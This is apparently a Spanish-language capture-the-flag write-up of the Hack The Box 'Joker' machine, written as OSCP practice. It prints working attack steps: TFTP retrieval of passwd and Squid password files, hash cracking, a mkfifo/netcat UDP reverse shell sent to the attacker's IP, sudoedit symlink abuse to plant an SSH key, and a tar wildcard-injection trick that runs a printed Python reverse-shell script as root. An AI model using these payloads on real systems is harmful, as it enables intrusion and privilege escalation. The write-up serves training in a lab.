Saltar al contenido

HackTheBox – Joker – Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina Joker de Hack the Box. Es una máquina Linux de nivel difícil con protecciones a nivel de red y por la que se accede a través de UDP. Además se aprovecha una mala configuración de wildcards para escalar privilegios.

Enumeración

Comienzo escaneado los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo; esto es muy ruidoso pero al ser un entorno controlado no me preocupa el ruido.

nmap -p- -n --open --min-rate 5000 10.10.10.21 -Pn

En la máquina hay dos puertos abiertos. Escaneo los dos puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.

nmap -p22,3128 -sC -sV 10.10.10.21 -Pn
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-10 17:31 CET
Nmap scan report for 10.10.10.21
Host is up (0.11s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.3p1 Ubuntu 1ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 88:24:e3:57:10:9f:1b:17:3d:7a:f3:26:3d:b6:33:4e (RSA)
|   256 76:b6:f6:08:00:bd:68:ce:97:cb:08:e7:77:69:3d:8a (ECDSA)
|_  256 dc:91:e4:8d:d0:16:ce:cf:3d:91:82:09:23:a7:dc:86 (ED25519)
3128/tcp open  http-proxy Squid http proxy 3.5.12
|_http-server-header: squid/3.5.12
|_http-title: ERROR: The requested URL could not be retrieved
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.90 seconds

Como el servicio web se está ejecutando a través de un Squid, para permitir que el navegador enrute a través del proxy, configuro la conexión con la extensión FoxyProxy.

Accedo a la web del puerto 3108 pero solo muestra un mensaje de error.

Escaneo los 1000 puertos mas comunes del protocolo UDP.

sudo nmap -sU 10.10.10.21

Encuentro dos puertos que puede que estén abiertos. Nmap, para el protocolo UDP, es muy poco fiable ya que no se produce el triple handshake como en TCP (mas información aquí). Cuando nuestra máquina manda a un puerto un SYN y no recibe como respuesta un SYN-ACK, no sabe si el puerto está filtrado o abierto, por lo que nmap da las dos opciones.

TFTP es un protocolo difícil de enumerar porque no incluye ningún tipo de lista de directorios. Puedo conectarme a este servicio e intentar descargar archivos existentes. Primero intento descargarme ficheros típicos de un sistema unix y después los ficheros de configuración y contraseñas de squid

tftp 10.10.10.21
tftp> get /etc/passwd
tftp> get /etc/hosts 
tftp> get /etc/squid/squid.conf
tftp> get /etc/squid/passwords

Como se ve en la imagen anterior, he conseguido descargarme los ficheros de configuración y contraseñas del proxy Squid.

Comienzo abriendo el fichero de configuración pero está casi todo comentado, así que lo cierro y lo vuelvo a abrir quitando las filas comentadas.

cat squid.conf
cat squid.conf | grep -v '^#' | grep -v '^$'

En la imagen anterior, puedo ver todos los puertos abiertos, los servicios que se están ejecutando y que el proxy bloquea pero no puedo acceder a ninguno que pudiera ser de utilidad.

Leo el fichero passwords y encuentro un usuario y un hash de contraseña.

cat passwords

Rompo el hash con John the Ripper y el diccionario rockyou.txt. Consigo las credenciales kalamari:ihateseafood.

john --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt passwords

Añado estas credenciales a la configuración de FoxyProxy y entro a la web del puerto 3128 pero sigue apareciendo el mismo mensaje de error.

A veces, squid desvía el contenido al localhost así que accedo al localhost desde el navegador y consigo encontrar algo diferente.

La página es un acortador de enlaces. Al proporcionarle un enlace, te da un enlace para poder acceder a esa web a través del proxy.

Como ya tengo una web efectiva en el localhost, hago fuzzing con gobuster, a través del proxy, para encontrar directorios y archivos ocultos.

gobuster dir -u http://127.0.0.1/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 --proxy http://kalamari:ihateseafood@10.10.10.21:3128 -e

Como se ve en la imagen anterior, encuentro un directorio oculto llamado /console. Accedo a él y parece ser una consola interactiva en python.

Explotación

El primer paso es comprobar si la consola funciona y después saber si tengo conectividad con ella. Comienzo ejecutando un whoami y, al obtener respuesta, deduzco que la consola funciona; después lanzo un ping sobre mi máquina atacante para comprobar si tengo conectividad con la máquina.

sudo tcpdump -i tun0 icmp
>>> import os
>>> os.popen("whoami").read()
>>> os.popen("ping -c 3 10.10.14.7").read()

Ya sé que la consola funciona y que tengo conectividad con la máquina.

Como la máquina tiene ciertas protecciones, voy a echar un vistazo a las IPTABLES.

>>> os.popen("locate iptables").read()
>>> os.popen("base64 -w 0 /etc/iptables/rules.v4").read()

El string obtenido es:

'IyBHZW5lcmF0ZWQgYnkgaXB0YWJsZXMtc2F2ZSB2MS42LjAgb24gRnJpIE1heSAxOSAxODowMToxNiAyMDE3CipmaWx0ZXIKOklOUFVUIERST1AgWzQxNTczOjE4Mjk1OTZdCjpGT1JXQVJEIEFDQ0VQVCBbMDowXQo6T1VUUFVUIEFDQ0VQVCBbODc4OjIyMTkzMl0KLUEgSU5QVVQgLWkgZW5zMzMgLXAgdGNwIC1tIHRjcCAtLWRwb3J0IDIyIC1qIEFDQ0VQVAotQSBJTlBVVCAtaSBlbnMzMyAtcCB0Y3AgLW0gdGNwIC0tZHBvcnQgMzEyOCAtaiBBQ0NFUFQKLUEgSU5QVVQgLWkgZW5zMzMgLXAgdWRwIC1qIEFDQ0VQVAotQSBJTlBVVCAtaSBlbnMzMyAtcCBpY21wIC1qIEFDQ0VQVAotQSBJTlBVVCAtaSBsbyAtaiBBQ0NFUFQKLUEgT1VUUFVUIC1vIGVuczMzIC1wIHRjcCAtbSBzdGF0ZSAtLXN0YXRlIE5FVyAtaiBEUk9QCkNPTU1JVAojIENvbXBsZXRlZCBvbiBGcmkgTWF5IDE5IDE4OjAxOjE2IDIwMTcK'

Lo decodifico en mi máquina y puedo ver las reglas del firewall.

echo 'IyBHZW5lcmF0ZWQgYnkgaXB0YWJsZXMtc2F2ZSB2MS42LjAgb24gRnJpIE1heSAxOSAxODowMToxNiAyMDE3CipmaWx0ZXIKOklOUFVUIERST1AgWzQxNTczOjE4Mjk1OTZdCjpGT1JXQVJEIEFDQ0VQVCBbMDowXQo6T1VUUFVUIEFDQ0VQVCBbODc4OjIyMTkzMl0KLUEgSU5QVVQgLWkgZW5zMzMgLXAgdGNwIC1tIHRjcCAtLWRwb3J0IDIyIC1qIEFDQ0VQVAotQSBJTlBVVCAtaSBlbnMzMyAtcCB0Y3AgLW0gdGNwIC0tZHBvcnQgMzEyOCAtaiBBQ0NFUFQKLUEgSU5QVVQgLWkgZW5zMzMgLXAgdWRwIC1qIEFDQ0VQVAotQSBJTlBVVCAtaSBlbnMzMyAtcCBpY21wIC1qIEFDQ0VQVAotQSBJTlBVVCAtaSBsbyAtaiBBQ0NFUFQKLUEgT1VUUFVUIC1vIGVuczMzIC1wIHRjcCAtbSBzdGF0ZSAtLXN0YXRlIE5FVyAtaiBEUk9QCkNPTU1JVAojIENvbXBsZXRlZCBvbiBGcmkgTWF5IDE5IDE4OjAxOjE2IDIwMTcK' | base64 -d

Por lo que se ve, solo se permite la entrada TCP por el puerto 22 y el 3128, el tráfico entrante del localhost, de UDP y de ICMP están permitidos y bloquea/elimina el resto de conexiones salientes de tráfico TCP así que, para obtener una shell reversa, tengo que usar UDP.

Comienzo poniendo un netcat a la escucha por el puerto 7897 de UDP.

nc -unlvp 7897

Y ejecuto el siguiente comando en la consola interactiva.

>>> os.popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -u 10.10.14.7 7897 >/tmp/f &").read()

La flag de usuario la encuentro en la ruta /home/alekos/user.txt pero al enumerarla veo que solo puede leerla su usuario y los usuarios de su grupo.

Ejecuto un sudo -l para enumerar los privilegios de root (los comandos de root) que puedo ejecutar y encuentro que puedo ejecutar que no puedo ejecutar ningún comando como root pero puedo ejecutar, sin contraseña, sudoedit como usuario alekos en cualquier ubicación que coincida con el patrón de muestra.

Realmente, sudoedit es un atajo para ejecutar sudo -e.

Si busco vulnerabilidades de sudoedit en la base de datos de exploit-db, encuentro una de escalada de privilegios para la versión de sudo 1.8.14.

searchsploit sudoedit

Esta vulnerabilidad está registrada con el código CVE-2015-5602 y el exploit se puede descargar, en exploit-db, desde aquí. Al leer el exploit (realmente es un procedimiento) dice que, en versiones de sudo igual o inferiores de la 1.8.14, no se comprueba la ruta completa cuando se utiliza dos veces un comodín, lo que significa que los enlaces simbólicos se pueden utilizar para obtener acceso a otros archivos.

Compruebo la versión de sudo de la máquina y veo que usa la 1.8.16.

sudo --version

Trás explorar un poco como se corrigió esta vulnerabilidad en la web manual de sudo, descubro que, a partir de la versión 1.8.15, sudoedit no sigue enlaces simbólicos al abrir ficheros a menos que la opción sudoedit_follow esté habilitada y, afortunadamente, lo está.

Solo tengo que colocar un enlace simbólico donde quiero escribir como layout.html y utilizarlo para cambiar de usuario.

Vuelvo al directorio web (que es el directorio raíz de werkzeug) y accedo al directorio /testing.

cd /var/www/
cd testing/

Creo mi propio directorio y después, creo un enlace simbólico al fichero sshauthorized_keys de alekos.

mkdir evil
cd evil
ln -s /home/alekos/.ssh/authorized_keys layout.html
ls -l
sudo aeditle-uk os /var/www/testing/evil/layout.html

Realmente, en el último comando, podía haber puesto simplemente sudoedit -u alekos /var/www/testing/evil/layout.html pero a veces me complico la vida innecesariamente…

Antes de continuar, necesito generar un par de claves ssh. Genero el par de claves con ssh-keygen y copio el contenido de id_rsa.pub en el fichero de nano que he abierto con el sudoedit.

ssh-keygen
ll /home/DrP1ng/.ssh/
cat /home/DrP1ng/.ssh/id_rsa.pub

Copio el fichero id_rsa que se ha generado en mi directorio de trabajo de Joker.

cp /home/DrP1ng/.ssh/id_rsa .
ls -lisah id_rsa

Ya puedo conectarme por ssh a la máquina víctima como el usuario alekos.

ssh -i id_rsa alekos@10.10.10.21

Y ya tengo acceso a la flag de usuario.

Escalada de Privilegios

En el directorio /home del usuario alekos encuentro los directorios backup/ y development/.

Accedo al directorio development/ y listo su contenido pero, tras revisarlo, no encuentro nada relevante.

Accedo al directorio backup/, listo su contenido y veo varios ficheros comprimidos, todos propiedad de root.

El nombre de los ficheros parece que se genera siguiendo un patrón así que, seguramente, se estarán generando siguiendo una tarea programada. Descomprimo uno de los ficheros para ver su contenido.

tar -xvf dev-1514134201.tar.gz

El contenido del comprimido es el mismo que el del directorio development/. Busco en la crontab pero no encuentro la tarea… de todos modos, sabiendo que se ejecuta, no necesito saber desde donde.

En GTFObins encuentro una forma de conseguir una shell con el comando tar y, como lo está ejecutando root, me sirve para escalar privilegios con unos pocos cambios.

Dentro del directorio development/, creo un fichero en python que al ejecutarse me genere una shell reversa, teniendo en cuenta las reglas del firewall. El código es el siguiente:

#!/usr/bin/python
import subprocess
subprocess.Popen(["python", "-c", 'import os;import pty;import socket;s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM);s.connect((\"10.10.14.7\", 7897));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv(\"HISTFILE\",\"/dev/null\");pty.spawn(\"/bin/sh\");s.close()'])

Pongo un netcat a la escuchar por el puerto 7897 de UDP.

nc -unlvp 7897

Ejecuto los siguientes comandos y espero a que se ejecute la tarea.

touch -- --checkpoint=1
touch -- '--checkpoint-action=exec=python evilshell.py

La flag de root la encuentro en la ruta /root/root.txt.

Publicado enCTFHTBLinuxOSCP